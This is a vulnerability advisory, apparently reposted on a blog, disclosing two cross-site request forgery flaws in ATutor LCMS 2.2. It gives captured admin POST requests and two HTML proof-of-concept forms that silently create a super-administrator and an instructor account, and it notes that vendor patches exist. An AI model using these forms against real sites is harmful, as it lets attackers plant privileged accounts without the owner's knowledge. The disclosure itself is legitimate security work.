------------------------------
Product Information:
Software: ATutor LCMS
Tested Version: 2.2, released 25.8.2014
Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)
Download link: http://atutor.ca/atutor/
Description: ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. (copied fromhttp://www.atutor.ca/credits.
------------------------------
Issues:
1) CSRF in administrator creation page
2) CSRF in user creation page
------------------------------
Vulnerability description:
1) CSRF in administrator creation page
When an authenticated administrative user of ATutor LCMS is creating another administrator account, the following POST request is sent to the server:
POST /atutor-2.2/ATutor/mods/_core/
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 187
Cache-Control: max-age=0
Accept: text/html,application/xhtml+
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-
Referer: http://127.0.0.1/atutor-2.2/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=
form_password_hidden=
By executing the following Proof-of-Concept, a new administrative user called "csrfadmin99" will be created with the password "1qazXSW@".
<html>
<body>
<form action="http://127.0.0.1/
<input type="hidden" name="form_password_hidden" value="
<input type="hidden" name="login" value="csrfadmin99" />
<input type="hidden" name="real_name" value="csrfadmin99" />
<input type="hidden" name="email" value="csrfadmin99@admin.com" />
<input type="hidden" name="priv_admin" value="1" />
<input type="hidden" name="submit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2) CSRF in user creation page
When an authenticated administrative user of ATutor LCMS is creating an user, the following POST request is sent to the server:
POST /atutor-2.2/ATutor/mods/_core/
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 429
Cache-Control: max-age=0
Accept: text/html,application/xhtml+
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-
Referer: http://127.0.0.1/atutor-2.2/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=
ml=&password_error=&form_
By executing the following Proof-of-Concept, a new instructor user called "csrfuser99" will be created with the password "1qazXSW@".
<html>
<body>
<form action="http://127.0.0.1/
<input type="hidden" name="form_password_hidden" value="
<input type="hidden" name="login" value="csrfuser99" />
<input type="hidden" name="email" value="csrfuser99@user.com" />
<input type="hidden" name="private_email" value="1" />
<input type="hidden" name="email2" value="csrfuser99@user.com" />
<input type="hidden" name="first_name" value="csrfuser99" />
<input type="hidden" name="last_name" value="csrfuser99" />
<input type="hidden" name="status" value="3" />
<input type="hidden" name="submit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------
Impact:
1) An attacker is able to create an administrator account with super administrator privilege.
2) An attacker is able to create an user account with instructor privilege.
------------------------------
Solution:
Update using the in-built patcher, Patch ID 0009 and 0011.
------------------------------
Timeline:
Vulnerability found: 10.2.2015 & 28.2.2015
Vendor informed: 10.2.2015 & 28.2.2015
Response by vendor: 11.2.2015 & 28.2.2015
Fix by vendor 23.2.2015 & 28.2.2015
Public Advisory: 1.3.2015
------------------------------
Best regards,
Edric Teo
Komentarų nėra:
Rašyti komentarą